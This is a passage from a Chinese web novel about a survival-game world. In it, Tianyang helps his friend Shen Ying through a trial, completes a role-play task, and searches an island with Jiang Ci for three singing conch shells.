明天是沈郢的生存考验,天仰不可能不去,于是便退出训练室,回宿舍洗了个热水澡。 天仰整个人浸在浴缸里,到处都是泡泡,感觉格外的放松。 在这么放松的环境下,他突然想起了件事情。 无限形态盒的事情不能让其他人知道,否则,能够变换出多种形态武器的道具谁不想要,到时候肯定会有人来抢。 天仰思考了一阵。 “要不还是只变换一种形态好了。” 这样做比较保险。 —— 一个晚上过去了。 天仰也一个晚上没睡好,很担心沈郢会出什么事,便整宿整宿翻来覆去无法入睡。 听到脑子后,脑子发蒙了一会儿,赶紧从床上爬起来。 洗漱完毕后,天仰出门时遇到了林知秋他们几个人。 整个队伍的人全到了,就连一脸精神不振的桦烙也在,表情看上去还有些许愤怒。 天仰看着这阵势,疑惑地问道:“你们这是要干什么?” 林知秋解释道,他们打算今天去找那几个女生算账,好不容易等最后一个人的伤养好了,于是一窝蜂地想去复仇。 于是天仰跟着他们在一层拦下了一个监察生。 在天仰的带头下,一个个站着排队等刷脸,监察生一脸麻木地看着他们,似乎有些被无语到的情绪。 被传送到寝室楼下后,天仰和他们告别,便去找沈郢了。 天仰来得早,专业队伍来的人三三两两,还没齐,不过沈郢也早来了。 两人打了个招呼,聊了一会儿,一副没什么大事的样子,实则让沈郢保持心态。 毕竟在没有进去以前,无论在外面怎么看,都不及里面的可怕。 天仰目光在薄膜前搜寻了一阵,发现今天恰好是降赐在值班,边打算去碰碰运气。 沈郢也没拦他,他私底下也希望天仰能够进来陪他,哪怕只是观战也行。 天仰径直走到001面前,感觉自己这样很像在找关系一样。犹豫了一会,开口:“那个......” 降赐的目光马上被天仰吸引过来:“怎么了。” “呃......”话到嘴边,天仰有点说不出来,但为了沈郢,他还是不要脸了一把:“待会儿那场考验我能不能进去陪同,就算不攻击怪物也行,让我进去就好了。” 降赐低头看了一会儿天仰,随即抬头张仰了一会儿,在人群中确定了沈郢也在往这边看。内心有一股玩欲涌起,便一手放在了天仰的头上,从沈郢那个角度看上去很亲密的样子。 实际上,在察觉到降赐的动作后,天仰有些疑惑地看着他。 降赐顺手从他头顶拿起一个轻飘飘的棉花絮。 在看见沈郢对他的误会更加明显的时候,他突然背过身,拉着天仰去了一个沈郢看不到的地方。 “你刚刚问的问题,我得请示一下上级,你在这里等我一下。” “好。” 降赐转了个身便消失了。 天仰内心惴惴不安,他很想进去陪沈郢,但从规则上来说,这是不允许的。 过了一会儿,降赐回来了,有些抱歉地说:“这件事,上级还是不能同意的。” “......” 天仰在心里叹了一口气。 他突然想去给沈郢上柱香拜一拜,就像高考前沈郢他妈妈那样做一样,求个平安什么的。 在得知这件事不行后,天仰便回去找沈郢了。 才发现他们已经排队要进去了。 沈郢看到天仰失落的表情就知道是怎么回事了,递给天仰一个眼神,让他别担心。 又是一道广播后,降赐出现在了薄膜前,缓缓打开入口,一个个登记名字进去,确定没有多一个或少一个后便关闭了入口。 天仰看着沈郢进入薄膜,内心有些煎熬。好在他现在是幸存者,可以到处跑来跑去不受管制,也就可以在薄膜附近走来走去,只要沈郢出现在哪,他就马上跑过去。 降赐看着这一幕有一丝不爽,但又说不出来自己哪里不对劲。 进入薄膜后的沈郢,遵照天仰给的指示,直直向里走去,却在忽然一瞥薄膜形成的墙后愣住了。 这边,天仰跟随者沈郢到了林子深处,却看到沈郢有一刻对上了他的目光,并且悄无声息地递了个眼神。 凭借多年的友情,天仰第一时间反应过来。 沈郢看得到外面! HNR星 天仰继续保持原来的样子,不让人察觉,悄悄地为沈郢引路,甚至借助趴在薄膜上近距离观看来掩饰自己给沈郢指路的动作。 虽然不知道这是怎么一回事,但天仰还是马上利用这一点,跟沈郢进行交流。 这让他莫名想到,之前沈郢的声音能够穿破薄膜,甚至能够进入薄膜内,而自己却不行的事情。当时没觉得哪里不对,可现在,天仰觉得这件事并不简单。 在天仰的帮助下,沈郢成功找到了之前天仰躲避的洞口,马上藏了进去。好在这一路上沈郢运气爆棚几乎没有遇到什么大型的怪,道具都省着,等到时候出口开了的时候还能救自己一命。 天仰也在附近瞎转悠,搜索到洞的出口后,便在那里等待着结束。 在场的同学也没有觉得哪里不对,他们见到死人已经麻木了,根本没有看现场的欲望。 除了降赐总感觉哪里有些不对劲以外,就没谁一直盯着这场生存考验了。 在距离结束还有最后五分钟时,降赐才宣布开启出口。 一直在洞的入口等待的沈郢很快地爬出来,往薄膜外一瞥时,却没有发现天仰。 而天仰则在洞出口焦急等待了一会儿,还是没看到沈郢。 他不会是走错头了吧...... 天仰确实没有介绍这个洞里的情况,看来沈郢是真的走反了。 在这里等待也是无用功,天仰还是决定去出口接沈郢。 降赐盯着天仰绕了几圈又回到了出口处,站在他旁边安静地等待。垂眸看了他几眼,便移开目光。 对他真是越来越好奇了,得赶快弄清楚那件事才行。 天仰惴惴不安地站在原地,希望沈郢没有他的指引能够自己走出来。 这场下来,能够出现在出口的人寥寥无几,几乎在出口开放的时候仅仅走出个两三人,却又因为看到出口过于兴奋没有在意周围环境,便被奇怪的生物给拖走了。 大概距离结束还有两分钟的时候。 沈郢终于出现在视野里,他拖着一身触目惊心的血迹,一路走来,脚步不紧不慢,似乎没有受到身上的伤口所影响,甚至还有力气把突然出现的小型生物推开。在看到出口处的天仰时,他终于露出了一个笑容。当然,仅仅只是对着天仰的。 正当天仰松了一口气时,旁边人突然传来一声:“他笑得真好看。” 天仰面部表情抽搐了一下,随即立刻辨别出这是谁的声音。 川珩不知什么时候站在了天仰的旁边,眼神带着些许痴迷,和他这高贵冷艳的外表一点也不相同。 天仰顿时觉得眼睛要瞎了。 而降赐早已见怪不怪。 “这个人归我治疗,我在诊疗室等他。”川珩对降赐撂下这一句话便走了。 天仰:“......”也不知道沈郢会不会同意。 大概率不会吧。 沈郢慢慢悠悠地踩着最后一分钟走到了出口,在场的两个幸存者都没有他这么云淡风轻,一到出口便失去了意识。只有沈郢在出了出口,看到天仰时,才一副我快不行了的样子跌进天仰的怀抱中。 天仰看着沈郢身上的血迹,又加上他的行为,莫名感觉到一丝做作是怎么回事...... 沈郢借机靠近天仰的耳朵:“我没事,带我去你房间。” 然后带着一丢丢嘚瑟的表情看了降赐一眼。 只可惜降赐上来就是让救护队的人把沈郢拖走。 天仰慌忙劝阻,直接把沈郢摁压在胸前,动也不让人动。反正又不是第一次抱沈郢了,知道这人格外的轻,便直接一个横抱给抱走了。路上见到闲着的监察生,便过去刷脸,顺便说了一下沈郢是新的幸存者。 监察生便开了权限,让沈郢也进去。 幸存者日常生活中心。 301。 天仰把看起来奄奄一息的沈郢抱回宿舍,刚关上门,沈郢就跳了下来,四处溜溜,活泼到不行。 “......”天仰有些呆滞:“你身上的血是怎么回事。” 沈郢不在意地挥挥手:“一点事也没有,你衣服先给我一套,我先洗个澡再跟你讲,血味太重了。” “行吧。” 看着沈郢活泼乱跳的样子,天仰也没有再说什么,把浴巾和找好的衣服放盆里给他,便在外面等着。 莫名感觉这样的日子很悠闲是怎么回事...... 突然想养只动物什么的...... 要不养只猫好了...... 沈郢洗完澡出来的时候,天仰正在考虑要不要去学校里找一只流浪猫抱回来养什么的。 “天仰,你在想什么。”沈郢在天仰面前挥了挥。 天仰在缓过神来,没头没脑地来了一句:“我想养猫。” “猫?” 沈郢已经不是第一次被天仰的脑回路给惊到了,于是就这这个问题想了一下:“可以啊,你以前不是也很喜欢猫,学校里流浪猫应该挺多的,下次去看看。” “好。” 等到两个人的心终于回到了这场生存考验上,天仰:“这场下来加上你只有三个人幸存下来。” “嗯。”沈郢对这个结果似乎没有太大的意外,端起放在桌上的热茶吹了吹:“跟你说说我在里面发生的一件事吧。” “好。” “我在里面看到了你寝室的那个室友。”沈郢把吹了一会儿的茶递给天仰。 天仰的表情有些微微触动。 臻耀还活着...... “就在你说的那个洞里,不过他......”沈郢停顿了一下,似乎找不到形容词:“他还活着,但是他说他出不来。” “什么意思?”天仰平复了一下心情。 “字面上的意思。”沈郢推了推鼻梁上的眼镜:“我进去的时候,往里面走了一会儿,突然就被他给袭击了。还好我及时躲过去,不过他其实已经快不行了,强撑着一口气,认出是我之后便倒在地上。不过没死,我看了看他的身上都是血,就把能用的药都给他了,应该能坚持一段时间。” “所以你身上的血都是他的?” “对。我扶着他去墙壁上靠着,给他上药时蹭的。我身上只有一点点刮伤,没有大问题。” “没事就好。” “那我接着说,他跟我说,出口关了以后,里面的生物都跟疯了一样追杀剩下的人,他一路跑到了那个洞里,身上的伤太多,他曾经试着下一场考验出去过,但他出不去。被一种特殊的东西挡住,出不去。所以他一直藏在那个洞里,哪里都去不了。” “......”也不知道这是好消息还是坏消息,天仰沉默了,准备去找林知秋他们商量一下,毕竟臻耀还活着,他们就不能见死不救。 沈郢看了眼时间,惊讶道:“这么晚了,我饿了,去吃饭吧。” 天仰点点头,知道沈郢一饿就受不了:“先去一楼给你认证一下,再去吃饭,不然很多地方你去不了。冰箱上面有一些零食,你先垫一下,我去换套衣服。” 刚才抱着沈郢,天仰的衣服上也沾了不少血,这样走出去多少有点奇怪,便也换下了。 认证完毕后,天仰带着沈郢来到露天餐厅。 能活下来的都是有实力的人,异界人自然不会亏待他们,不仅宿舍是单人的,第三层还涵盖了许多很多神奇的娱乐设施和训练室,甚至餐厅都是高级餐厅,露天顶楼,燕尾服侍者,圆桌白布,红酒佳肴,顶级厨师。一一配备整齐,更好的是,这些还不用钱,对幸存者来说,全部都是免费的。 像沈郢这样的资深吃货,鼻子瞬间就能感觉出这里的与众不同,选定桌子坐下后,他连点了十几页的菜,才舍不得地把菜单放了下来。 天仰已经一脸麻木,看着那个菜单几乎被点了一半的页数,感觉这一场饭又要吃好久。 果然,燕尾服侍者动作迅速地端了一盘盘佳肴上来,圆桌马上被填满了,甚至还对他们说了一句:“等先生们用完这一桌,再上下一桌。” 天仰慢吞吞地吃着,看着沈郢风卷残云地扫完了几盘菜,哪怕看了那么多年还是被震惊到了。 才不到十分钟,整整一大桌的菜就被沈郢吃完了,而天仰还在第一盘的炒饭中挣扎。沈郢看着天仰磨磨唧唧地还在吃饭,默默地拿了过来,一口便干掉了一大碗,朝着侍者扬扬手:“下一桌!” 天仰已经不知道用什么心情形容自己了。 等到终于吃完这一顿饭,天仰才跟沈郢聊起一件不算很大的大事。 “我创建了一个队伍,你要不要加入,我是队长,不过所有事情都是林知秋在管,他是副队长。” “哪个队伍,我现在就加。” 作为一个幸存者,沈郢当然也拿到了便携空间环。 “Tian,第一个应该是,目前好像就一个队伍。” “好。” 吃过晚饭后,天仰把沈郢送回了他的房间。 313。 “离你有点远。”沈郢嫌弃地说道。 天仰还没跟沈郢细说接下来幸存者的事情,打算明天看看有空再说,他现在得去找林知秋说一下臻耀的事情。 和沈郢互道晚安后,天仰便匆匆去找林知秋。 这个点他应该还在看书。 28. 谢谢你 小隐警惕地观察着四周,虽然他看不见什么,但是他还是放不下警惕。 “晚上好小宝贝,不要紧张哟~”这时角落里缓缓踏出一个人影。 小隐的瞳孔不住紧缩。 另一边,天仰麻溜地解决了围着他的怪物,没有了碍事的人,他熟练地用着手中的双刃剑,横扫全场。 没有怪物再围上来,天仰马上转身跟进小隐刚刚跑进去的小巷里。 虽然很久没有回来,但他的记忆并不受时间流逝。 天仰匆匆穿过小巷,在一条条熟悉的巷子里穿梭,终于停在了刚刚出来的房子前。 现在门已经关上了。 天仰肯定小隐已经回来了。 他摸着窗户边寻路,灵敏地翻窗落地,正好对上屋子多出的那个人的眼睛,不禁诧异道:“002?” 002显然也是没料到天仰也在这个副本,惊讶了一下,便很快进入状态,带着病态的口吻哈哈大笑道:“吾乃冥界割魂者,今日便是来取无家可归之人的命。” “??” 天仰被这中二的话雷得尴尬得不是一点点,顿在原地了一会儿,感觉对着002这张脸他突然出戏了。 002显然没想到会遇到熟人,说完这么中二的话内心已经在不断咬手帕痛哭流泪,等回去以后他一定要跟人好好解释一下,不能让他的形象就此败坏。 然而,小隐可没有他们那么多心理变化,他表情十分冷漠,对着割魂者就是一句:“不行!” 002可不知道这个小孩到底发生过什么,他只是系统给的台词念而已,该符合这个角色的事情做了就是了,其他的他都不会管。 小隐看起来十分倔强:“我哪里无家可归了,我有小叔......” 天仰对这个印象中的圣诞节还是有点印象的,比如现在这些就不是原来出现的,小叔也不是在这个圣诞节夜出事的。 更别提上面割魂者这种胡扯出来的东西,看来是这个副本修改了一些。 不过看来收走小隐的魂魄是002的任务吧,天仰也不知道怎么解决这个事,毕竟降赐还没回来。 002听到小隐说的话,直接对着剧本反驳回去:“你不就是被父母抛弃才临时住在你小叔家吗,难不成你是你小叔家的?别开玩笑了,你怎么可能会有家。” 虽然说这是剧本上的台词,但002也觉得这段台词过于伤人。 怎么前面几家没有这么虐的台词,到了这里就有了真的是。 天仰在听到002说的那些话时,在一瞬间套到了自己的身上,仿佛说的是他自己。 可回过神来,这些都已经过去了。 小隐可就没有那么好受,被一个陌生人这样说完,他的情绪有些炸开,开始质疑自己。 活着有什么用。 002看见天仰眸色沉了沉,联系到小隐,他突然发觉,这个小孩和天仰长得非常像啊!难不成...... 这个副本应该交给001比较合适...... 002内心捂脸,围观人家的过去他还真没什么兴趣。 就在此时,大门被人用力砸开。 降赐直接就闯进来了,看到房间里的002,眼神短暂性呆了一下,便马上反应过来:“你是谁!私闯民宅是犯法的!” 照着剧本上的台词念出来,降赐觉得这个台词有点傻,刚刚他才被一堆怪物追杀现在又说着这么现代的话...... 002也没想到这一个副本还真能遇到001,一种看热闹的心情涌了上来,但当他看到下一句台词的时候嘴角禁不住抽了抽。 “吾乃冥界割魂者,今日便是来取无家可归之人的命。”002还按照剧本的指示指了指小隐:“就是这个小孩,今日我便要带走他......” “我不同意。”降赐直接打断了他:“这个孩子是我家的哪里无家可归了。” 002顿了顿,看来他是和001的任务冲突了:“你们只有血缘关系。” 天仰就这么看着降赐和002在那叭叭,而站在他旁边的小隐看起来十分紧张,就好像降赐要是吵输了他就会被带走一样。 天仰虽然不知道在这个故事里他扮演的这个角色的用意是什么,但能够看到以前的自己,还是有点恻隐之心的。 他不是想救他,他只是想告诉他,以前的日子很好,要珍惜。 小隐的注意力显然都在他们的身上。 天仰也只想赶紧解决这个任务,便对小隐说:“你有没有硬币?” 小隐茫然地看着天仰,似乎不明白对方为什么会在这个时候问这个。 “今天是圣诞节,一个硬币可以许一个愿望哦。”天仰的语言似乎带着魔力,引诱着小隐。 小隐对这个说法很心动,反正也就一个硬币而已,他在口袋里掏了掏,一枚带着暖气的硬币落在了天仰的手上。 小孩盯着天仰的眼睛,一字一句认真说道:“我想要,这个圣诞节不能有任何人破坏。” 他不敢贪婪,哪怕只是梦境也会有醒来的那一天,而他只奢求沉浸在里面一小下,就马上脱离。 没有任何人能永远拥抱他,给他无时无刻的安全感,他能做的,就是远离那些美好。 避免奢求。 “好,我知道了。” 在天仰合上手掌时,系统提示音在脑子里提示,任务已经完成。 他没有再看小隐一眼,快步走到002面前,一伸手,割魂者便纳入到他的指环中。 便如一道烟雾消散。 在系统播报任务完成时,还附赠了另一条通知。 【角色异乡而来的法师扮演成功】 那时,他便知道了他的身份,以及身上的东西并不简单,果然一碰到冥界的人便自动收纳。 在天仰任务完成的同时,那枚戒指落在了门口的积雪上,主人设定二十四小时才能把里面的东西放出来。 002就这么莫名其妙被困在了里面。 降赐有些奇怪地看着消失不见的两人,陷入了沉思,手上还在不停地切着鸡肉。 看来他的任务是完成了,那他也要尽快结束这边的任务。 等任务完成后,有时间去找一下002,拿他的剧本看看。刚刚他在外面准备砸门的时候,听到002说的那些话,有些在意。 另一边。 天仰完成了任务,心里正吐槽着这次的任务好像没什么难度,便莫名其妙被传送到原先来的那片灰蒙蒙的迷雾中。 “怎么回事?”天仰不解道。 系统回复。 【恭喜幸存者通过扮演类考验】 【下一场是实战考验】 【目标传送中请稍等】 天仰:“???” 什么东西?!! “为什么会有两场考验?不是只有一场吗!” 【普通幸存者考验为一场,第一场为扮演类考验,考察幸存者是否具备卧底潜质】 【第二场只挑选第一场得分高的幸存者进行考验】 【幸存者天仰第一场考验评分为A级】 【在没有被NPC察觉是外来的人,以及没有毁坏角色性格,随机应变能力......完美完成任务】 天仰听了之后:...... 他就是一个异乡人谁知道他是谁?!而且他也是任务完成之后才知道自己的真实身份好吗?!! 系统显然听不见天仰内心的咆哮。 但还是有良心地提示道:“目的地传送完毕,幸存者可开始考验。” 天仰不情不愿地从迷雾中走出来,本以为轻轻松松就能完成任务,没想到还多了一场考验。 不知道沈郢怎么样了...... 周遭场景发生了变化,眼前是一片一望无际的海洋,他所站的地方只是沙滩的一角,一轮落日悬挂在海的深处,与海逐渐沦为一体,几艘小船颤颤巍巍地停留在海面上,任海浪冲刷。 只有天仰看清,海浪地下隐藏着如此凶险的怪物。 “......”天仰呆在原地,并不是被这场景给吸引了,而是他在等任务出现。 果不其然,他原地不动,系统的声音慢慢传来。 【幸存者已就位】 【现在播报任务】 【找到遗失在这片海区的能听到歌声的三只海螺】 【特别提醒,在晚上靠近海边会有不好的事情发生,林子里晚上没有点火的地方也会发生不好的事情,只有白天是安全的】 天仰:...... 艹...... 这都是什么事啊...... 现在看起来是傍晚,夕阳一半已经在海里了,已经快要接近晚上了。 天仰没有时间在这个地方浪费下去。 晚上不能接近海边,那他只能去林子里,还得在太阳落山前找到只够的柴火点燃一整夜才行。 天仰行动的速度很快,在林子里瞎转悠的时候确定了这个时间没有什么奇怪的生物,他便眼疾手快地捡了一地柴火,围成了一个圈,找不到能搭帐篷的材料,他便一直寻找木头。 反正他有便携空间环,在来之前就往里面塞了不少小道具,可惜就是忘了塞点帐篷什么的,不过还好有毛毯和吃的。 天仰放下心来,为了节省柴火,他掐点在太阳即将下山的那一刻用打火机点燃了木头。 与此同时,他感觉到在太阳消失的那一刻,林子里好像突然多了些什么,在黑暗中蠢蠢欲动,但碍于柴火没有出现。 天仰:...... 他讨厌这种环境...... 他僵着身子,一动不动地坐在满是树叶的地上,手里举着一把火,拨动着篝火,在火小了的时候便往里面加上一把。 再见了 船靠的更近了些。 天仰伸手拾起了那个漂在海里的漂流瓶,仔细检查了一下发现没什么问题,便拧开了瓶盖。 里面是一张卷起来的信纸。 因为保存的很好,没有受到海水的冲击,信纸没有发皱,也没有潮湿。 上面只写着两个字。 月光。 “月光?”天仰念了出来。 降赐凑近些了看,发现没有多余的信息,单单只有这两个字,便移去了目光,道:“我们在这附近再找看看吧。” 海上航行的时间过得飞快。 在这短短一天的时间内,他们只找到了这一个漂流瓶。 “应该不止这一个线索才对,明天再去其他地方找找。”降赐确认周围没有其他的东西,便带着天仰返航了。 天仰把漂流瓶收好,现在暂时也找不到别的线索,而且天已经快黑了,只能先回到地上。 帐篷外。 降赐在给篝火里加木柴,天仰坐在一旁想着漂流瓶的线索。 白旭远远的坐在一边,一整天没有看到他,双方无话。 碍于降赐这个强大的因素,白旭减少了和天仰之间的对话。 “走。” 天仰突然眉头没有脑的对降赐说了一句。 降赐也没有任何异议,直接站起来跟着他走了。 白旭虽然很喜欢天仰身上的精气,但是有降赐这个不稳定的强大因素在他也不敢造次。 天仰举着火把和降赐来到海边,周围依旧的黑暗,但此时月光洒落在海岸边,隐隐有一束光照在了这里。 天仰顺着光的方向,找到了一个藏在礁石下的海螺。 天仰感觉此时的自己有点激动,很快的把海螺捡起来放到耳边。 一阵轻快的歌声环绕耳畔。 果然有! 天仰十分兴奋地把海螺贴到了降赐的耳边:“快听!真的有声音耶!!” 降赐猝不及防的被他贴了一耳朵,心里有些说不出的愉悦感,他淡淡地嗯了一声。 天仰还保持在找到海螺的兴奋感中,丝毫没有发觉这个动作不是很妥当,换做以前他都不会对别人做出这样的行为。 可他现在实在是太高兴了,终于找到了其中一个海螺,那另外两个海螺应该也就不远了。 “明天我们在岛上走走吧!”天仰提议道,上次是在晚上去的,可能很多线索都找不到,换作白天可能会有新的线索。 早点完成任务,早点回去! 天仰有些斗志昂扬。 “先回去休息吧。” “好。” —— 次日。 天仰醒来的时候,降赐又不在了。虽然说两个人睡在同一个帐篷里,但是每次都是天仰先睡着,降赐很晚才睡,所以他也不知道对方有没有睡。 天仰赶紧起来换上衣服,刚把头探出帐篷,就看到降赐手里把玩着一个东西。 漂流瓶?! 天仰惊异道:“这是哪来的?” 降赐随手把漂流瓶抛到他的手里:“起的有点早,去林子里遛了一圈,树底下发现的。” 天仰显得十分惊喜,飞快的把里面的信纸拿出来。 打开。 海平面。 这回是三个字。 不过天仰大概知道这是哪里了,因为已经在这呆了那么多天,很多地方都已经逛熟了,所以他对这个地方,已经有了猜测。 “我大概知道在哪儿了,走吧。”天仰信誓旦旦的说道。 降赐不急不慢地递过去一个烤的不是很焦的面包,缓缓道:“先吃,吃完再去。” 天仰有些错愕,突然缓过来,这几天他和降赐走的似乎有点过分的近了,放在以前,他从来不会跟人走的这么近。 更别提睡在同一个帐篷里了。 这些年除了跟沈郢玩的比较好,以外其他人都很少接触。 天仰想到这里,身体已经先一步接过了面包,嘴里说两句:“谢谢。” 降赐没太大反应,继续靠着手里另外一个面包。 天仰这时才发现,降赐坐着的旁边的地上,已经堆满了一堆烤焦了的面包,黒糊糊的,完全不能吃的那一种。 这…… 天仰心里有些惊讶,但话不多说,为了节省时间,早点回去,他很快吃完面包。 —— 海滩礁石处。 降赐悠闲的跟在天仰的身后,天仰四处寻找着海螺。 海平面这三个字给他的启发很大。 这几天他在这整座岛上探索的时候,有经过一处地方,那里能看到整个海平面,非常的壮观。 大概是在一处礁石十分的地方,天仰,动作灵敏的翻了上去,降赐紧随其后。 两个人站在一处很高的礁石上,晃着波澜壮阔的海,徐徐海风朝着他们吹来,很是惬意。 天仰的视线在海平面上不停的搜索,终于看到很远的海上,有一抹反光的东西。 “你看看那个是不是漂流瓶?”天仰指了指那一处闪闪发光的地方。 降赐的视力很好,看了一眼道:“对。” “太好了。” 天仰瞬间振奋了不少,但看了看那么远的地方,又感觉方向感不是很好,思考了一阵对降赐说:“要不你在这儿给我指指方向?然后我开船过去。” “好。你小心点。” 天仰得到允许后,速度很快的回到昨天的岸上,找到那艘船,运用自己的幻想力天赋,驾驶着船朝着那个方向驶去。 天仰不是很确定方向,他控制着船在海上航行了一会儿,回头过去看降赐。 降赐远远地便收到了他的视线,给他打了个手势。 对方看懂之后,继续航行。 降赐看着那个逐渐变成小黑点的少年,感觉自己心里对那个黑发少年的变化正在不断加深,尤其是经历了上一个扮演型考验,从那个孩子口中知道了一些他的过去。 内心便久久无法平静。 他曾经以为,每个地球人的过去都是一样的,至少不会有太大的偏差,都是从一个正常的家庭走出来的,直到他真正了解了他以后。 才发现…… 原来事实并不是那样的。 原来军中的情报是有误差的。 原来不是什么事情都跟他的想法一样的。 “唉……”他不住地发出了一声叹息。 回去之后一定要找002拿他的办演剧本来看一下。 …… 乘着船飘荡在海上的天仰,看着眼前越来越近的漂流瓶,趴在船身上,伸手用力一勾。 漂流瓶便到手了! 天仰激动的打开漂流瓶,拿出里面的信纸。 这会只有一个字。 林。 所以说另外一个海螺在林子里? 天仰有些猜不透这个意思。 不过没关系,他有军师降赐!怎么说对方也是个经验老道的多年军官,既然线索都找到了三张,对方也应该推算出了什么。 天仰这般想着,打算回去找降赐。 在驾驶着船转动方向的时候,天仰,突然感觉到船身被碰到了什么。 他愣了愣,朝着被磕到的那个地方看了一下。 发现海上静静飘着一只海螺。 海螺! 天仰激动地拿过海螺,凑到耳边,果真正在里面听到了一阵小小的歌声。 第二只海螺了!!! 感觉今天有点幸运是怎么回事? 哪怕是不擅长有情绪表达的天仰,此时也忍不住露出了一个笑意,对着远到看不见的降赐举了举手里的海螺。 也不知道对方看不看得见,反正她很高兴就是了。 太好了,再找到一个就能回去找沈郢了! 天仰重新驾驶船朝着岸上驶去。 降赐远远的就看到他的黑发少年举着海螺对着他笑的画面,心情莫名其妙好了不少。 他从礁石上下来,走到海滩上,去等待少年回来。 天仰在离海滩越来越近的时候,突生事变,海浪莫名其妙冲了上来,带着波澜壮阔的海水,闹得整片海波涛汹涌。 整片海莫名闹了起来。 天仰的表情僵住了。 这是他第一次独自开船航行在海上,没有什么经验,遇到这样的事也不知道该怎么做。 好在,他会游泳。 天仰看着越来越汹涌的海域,咬了咬牙,硬着头皮跳进了海里。 远处,降赐莫名心猛地提起,但脑子里还是时刻告诉自己要冷静下来。 这样的事情以前也不是没有遇到过,只要…… 降赐从便携环中飞快取出一道符咒,对着汹涌的海水快速地摁了下去。 符遇水并没有湿透,而是沉入海底。 这个是特制的符咒,可以压制一切自然现象,是川珩研究的最新成果,不过暂时还没有发出去。 降赐盯着动荡不息的海平面,渐渐地海水震荡得越来越缓慢,逐渐平静了下来。 刚刚跳进海里的天仰,在落入海中的那一刻,早已被海浪推得翻来覆去的,不知被卷到了哪个地方。 降赐耐心地站在海滩上等着。 他知道,他一定不会轻易死的。 过了很久很久,直到降赐的耐心快要用尽时,平静的海水上终于有了一点动静。 一个黑色的小点冒了出来,非常用力地钻出了海面,却又在下一秒掉进了水里。 降赐眼疾手快地把天仰捞了上来。 对方奄奄一息地趴在他的怀里,不住地吐着水,浑身颤抖了几下,对着地上便干呕了起来。 降赐心疼地拍了拍天仰的背,等着对方吐的差不多了,才摸了摸他的肚子,确定肚子里没有多的水之后。 便把人横抱起来,朝着帐篷的方向走过去。 天仰刚被水淹完,此时已经奄奄一息,没有任何想法了。 我们的世界 降赐动作迅速地把人抱到帐篷里,一次性拿出很多高科技,都是川珩用不上顺手塞给他的,现在倒是起到了不小的帮助。 毕竟按降赐的作风他很少帮助人,而自己用上这种道具的概率并不大,现在难得一用,他还觉得怪不习惯的。 不过这也要看救的对象啊。 降赐暗自打量着黑发少年。 天仰紧闭双眼,似乎陷入了沉睡,但眉头还是紧紧地皱着,难以安心的样子。 降赐拿道具的手突然顿住,感觉自己有些莫名其妙,明明之前都不会对人如此亲近,而最近这么反常难道只是因为他那个身份吗...... 为什么会这样...... 降赐开始反思自己的行为,却从中无法看出自己的内心。 救人重要救人重要...... 用上了奇怪道具的天仰不过一会儿便睁开了眼睛,看着身边没有人,有些难受地坐了起来。 脑子里回想起自己已经找到了两个海螺,顿时有些欣喜若狂,但头又一阵阵地疼着,他想起了最后一个漂流瓶的线索,决定先去找降赐梳理一下线索。 这时,帐篷被人从外面掀开。 降赐端着一碗闻起来很奇怪的汤进来。 天仰抬头看了一眼汤的色泽,看起来不仅闻起来奇怪,样子也很奇怪。 不过降赐本人对此毫无察觉,甚至直接放在了桌上,冲天仰招招手:“先过来把它喝了。” 天仰顿住了两秒,奇道:“这是什么?” “药。”降赐一个字便解释完了感觉有哪里不妥,便多说了一句:“里面是很多珍贵的药材。” “......”天仰沉默了一会儿,狐疑地看向降赐:“这是吃什么的?” 总不可能是溺水的吧? 降赐看起来像是被这个问题问住,停顿了一会儿:“就很多珍贵药材煮的,多少对身体有些帮助。你体质太差了要多补补,不然天赋再好也没用,身子底子太虚了。” 天仰:“......” 感觉降赐这话很像沈郢他妈妈哄骗他们喝一些稀奇古怪又难喝的汤一样,听起来就很假,跟听医生的话一个道理。 但眼前的人天仰又不好意思拒绝,只得抿了抿嘴,端过碗,准备一口闷的时候他停了停,又抬头确保了一遍降赐的表情看起来很正经,才把碗送到嘴边,抿了一口。 他僵在了原地。 他用他感天动地的意志力艰难地咽了下去,呆滞了十几秒钟才放下碗,遏制住自己有些狰狞的脸,用不易察觉情绪的语气道:“你煮完之后喝过吗?” 降赐似乎没有明白他的意思:“给你煮的我怎么会喝。” 天仰:“......” 他感觉自己快要裂开了。 怎么说呢,这碗药汤,哦不,这碗药水,只是往水里加了许多七七八八很高级的药材而已,只要是高级的便往里面加,根本不知道加了多少药材混合而成的药水,而且还没煮熟!!!只是单纯地混在了一起,压根没有搅拌均匀,这玩意儿根本不能喝的!!!!!! 天仰感觉自己已经裂开了。 降赐似乎终于察觉到天仰的不对劲,奇怪地问道:“不好喝?” 天仰面如死灰地把碗递过去:“你试试就知道了。” 降赐半信半疑地接过,猛地灌了一口,之后整个人僵在了原地,一副被雷劈了的表情。 “怎么样?”天仰幸灾乐祸道。 降赐装做很是淡定的模样把碗默默移开,拿去门口倒了,回来才说道:“这种东西还是不要喝了,珍贵的药喝太多也不好,吃点别的吧。” 天仰顿时松了一口气,立马又想起最后一个线索:“对了对了,我拿到了最后一个漂流瓶,上面就写了一个林字。” “林?” 降赐的表情看起来有些异样:“如果是林的话,我早上在林子里倒是有些线索。” “什么?”天仰惊讶道。 “收拾一下,我带你过去。如果可以,最快今晚这个副本就结束了。”降赐一副大局已定的样子,看了看乱糟糟的帐篷,去角落里扒出了一套干净的衣服放在天仰的旁边,便出去等他了。 天仰这才发现自己身上还是被海水浸泡的湿湿的样子,只不过身上多了一条毛毯,才猛地感觉到冷意,连忙把湿透的衣服脱下来。 降赐在帐篷外听着里面窸窸窣窣了好一会儿,天仰才出来。 新换上的衣服是一套休闲装,大小尺码刚刚好,天仰不由得很奇怪,但也没有多问,多问太不好意思了。 等到降赐把帐篷收起来之后,两个人前往林子深处,这个时候,太阳即将要落山,天仰不放心便在手上拿了一把火把。 在降赐的带路下,两个人到了一处洞穴。 这个洞和其他的洞不一样,明明现在已经很晚了,洞穴却散发着幽幽的光芒,很是奇特。 天仰凑近才注意到,里面是一些亮闪闪的矿石,之所以晚上洞穴也能发亮,就是因为这些矿石在起作用。 “我记得里面好像有一个巨石,但是当时和线索不太一致我就没浪费时间多看。”降赐指了指深处,继续往里面走。 天仰紧随其后。 终于,在不知走了多久以后,两个人到达了洞穴的最深处。 眼前是一块又矿石组成的巨大石碑,整个石碑亮闪闪的,光彩四溢,显得十分美丽。 天仰却没被这个吸引,四处寻找着线索,却还是一无所获。 这时,降赐把天仰的身体扳过来,面对着石碑。 “遇到问题不要先找线索,先看。”降赐指了指石碑。提示道:“攻击它。” 天仰不甚明白,盯着石碑看了一会儿,终于发现了不同之处,石碑的底处有一个奇怪的形状。 